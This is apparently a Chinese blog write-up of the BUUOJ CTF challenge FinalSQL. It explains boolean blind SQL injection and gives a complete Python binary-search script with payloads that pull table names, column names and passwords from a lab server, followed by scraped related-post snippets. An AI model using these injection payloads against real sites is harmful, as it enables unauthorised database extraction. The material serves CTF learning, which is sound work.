[极客大挑战 2019]FinalSQL 1
[极客大挑战 2019]FinalSQL 1
这篇主要是考察布尔盲注,而且他很贼,弄了两个输入框,但过滤的东西很多;真正的注入点在search.php传入的参数。说来惭愧,之前就做过布尔盲注的题目,结果又遇到了,一点都记不得了,还是得写个博客记一下。
布尔盲注
页面需要支持对布尔信息的回显,如True返回”Hello“,False返回“Wrong”。
原理
布尔盲注的过程中有点像猜单词的游戏,A心里想一个单词,B不断询问,A只能说‘是’或者‘不是’。
如A想一个单词apple。
| B的问题 | A的回答 |
|---|---|
| 第一个字母小于H吗? | 对 |
| 第一个字母小于D吗? | 对 |
| 第一个字母小于B吗? | 对 |
至此,B已经知道了第一个字母是A。在这个过程中,B还可以使用二分法,加快得到答案。
代码层面
使用函数
| 函数名 | 函数作用 |
|---|---|
| ascii(char a) | 返回'a'的ascii码 |
| substr(char *str, int start_pos, int num) | 截取str的start_pos位置开始(包括str[start_pos])num个字符,在布尔注入中一般在循环中这样substr(str, i, 1),用于获取第i位置的字符 |
| left(char * str, int num) | 返回字符串str从左起num个字符, 布尔注入中,便需要拼接上一步的结果,不似substr方便 |
| length(char *str) | 获取字符串长度,一般在具体开始查询前,先查下字符串有几位 |
使用语句
一般格式如下, 意思是检查目标的第i位是不是n。
1 ^ (ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) == n)
| 语句 | 功能拆解 |
|---|---|
| select columnA from tableA | 目标数据 |
| substr((select columnA from tableA), i【循环中的第i位】, 1) | 目标数据的第i位 |
| ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) | 目标数据的第i位的ascii码 |
| ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) == n | 目标数据的第i位的ascii码是不是等于n |
| ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) > n | 目标数据的第i位的ascii码是不是大于n(二分法) |
这里的1^也可以看情况换成正常的and或者or
本题代码
直接搬得这个哥们的二分代码
import requests
# 使用二分法
url = ''
flag = ''
MaxLen = 250
for i in range(1,MaxLen):# range(1, 11) 从 1 开始到 11,[1, 2, 3, 4, 5, 6, 7, 8, 9, 10] range(0, 30, 5) 步长为 5 [0, 5, 10, 15, 20, 25]
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "http://7407ade4-c95c-4ed8-921b-7a5d559a623c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" %(i,mid)
# payload = "http://7407ade4-c95c-4ed8-921b-7a5d559a623c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)" %(i,mid)
# payload = "http://7407ade4-c95c-4ed8-921b-7a5d559a623c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
res = requests.get(url=payload)
if 'ERROR' in res.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
看着答案一点点出来还是蛮爽的

[极客大挑战 2019]FinalSQL 1的更多相关文章
- [极客大挑战 2019]FinalSQL
0x00 知识点 盲注 0x01 解题 根据题目提示盲注,随便点几下找到注入点 发现我们输入^符号成功跳转页面,证明存在注入 1^(ord(substr((select(group_concat(sc ...
- BUUOJ [极客大挑战 2019]Secret File
[极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...
- [原题复现][极客大挑战 2019]BuyFlag
简介 原题复现:[极客大挑战 2019]BuyFlag 考察知识点:php函数特性(is_numeric().strcmp函数()) 线上平台:https://buuoj.cn(北京联合大学公开 ...
- BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)
BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...
- 极客大挑战2019 http
极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...
- [BUUOJ记录] [极客大挑战 2019]RCE ME
前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...
- BUUCTF [极客大挑战 2019]Not Bad
总的来说这是一个64位orw的题 开头先在主函数里分配了一个很大的空间 1 __int64 __fastcall main(int a1, char **a2, char **a3) 2 { 3 mm ...
- 极客大挑战 2019 web 部分解
复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...
- [极客大挑战 2019]HardSQL
0x00 知识点 报错注入 链接: https://www.cnblogs.com/richardlee97/p/10617115.html 报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQ ...
- [极客大挑战 2019]Upload
0x00 知识点 一个常规上传题目,知识点全都来自前几天写的文章: https://www.cnblogs.com/wangtanzhi/p/12243206.html 1:某些情况下绕过后缀名检测: ...
随机推荐
- Spark - [01] 概述
一.Spark是什么 Spark 是一种基于内存的快速.通用.可扩展的大数据分析引擎. Apache Spark is a unified analytics engine for large-sca ...
- mybatis-generator 自动生成mybatis代码与xml
一.pxm.xml中引入mybatis-generator并配置 在build节点下的plugins下添加org.mybatis.generator 示例代码如下: <?xml version= ...
- idea社区版配置springboot项目问题分析及处理
前言 记录一次使用IDEA社区版配置SpringBoot项目的经历,包括遇到的问题及解决过程 IDEA版本:IntelliJ IDEA 2024.2.3 (Community Edition) 问题描 ...
- 【moectf】wp
http 用wsrx打开靶机 根据任务描述 得到moectf{basic_http_knowledge_oen0w64iYZqSeT6BT8c9OgFTV-KNMT6g} Web入门指北 打开pdf文 ...
- 从RNN、LSTM到NTM、MANN——神经网络的记忆与推理进化
从RNN.LSTM到NTM.MANN--神经网络的记忆与推理进化 一.前言:为什么要研究记忆? (温馨提示:在阅读本文之前,请确保你已经对深度学习中最基本的概念有一定的了解,例如:激活函数.多层感知机 ...
- bee must have one register DataBase alias named `default`
bee must have one register DataBase alias named default 在你初始化db,注册默认数据库时,看看你是否import初始化注册数据库驱动driver ...
- vue学习一(指令2.v-bind,v-model)
2.1.v-bind: 单向绑定(修改数据项,标签内容也改变:修改标签内容,数据项不会改变) 给html标签的属性绑定,可以用来动态修改class,简写 v-bind:style = ...
- Linux下如何重启Oracle
操作步骤 切换到oracle用户 su – oracle 通过sqlplus以管理员身份登录 sqlplus / as sysdba 然后执行 shutdown immediate 退出sqlplus ...
- Delphi让网页只允许在WebBrowser里面打开
[添加组件] 添加 Internet->WebBrowser //显示网页 [添加事件] 鼠标点击WebBrowser组件,在Events事件选项框中找到. OnNewWindows2,OnSt ...
- DEV插件--Spreadsheet1电子表格
常用操作Spreadsheet常用属性标题栏是否可见 Spreadsheet1.TitleBar.Visible=true标题栏背景颜色 Spreadsheet1.TitleBar.Interior. ...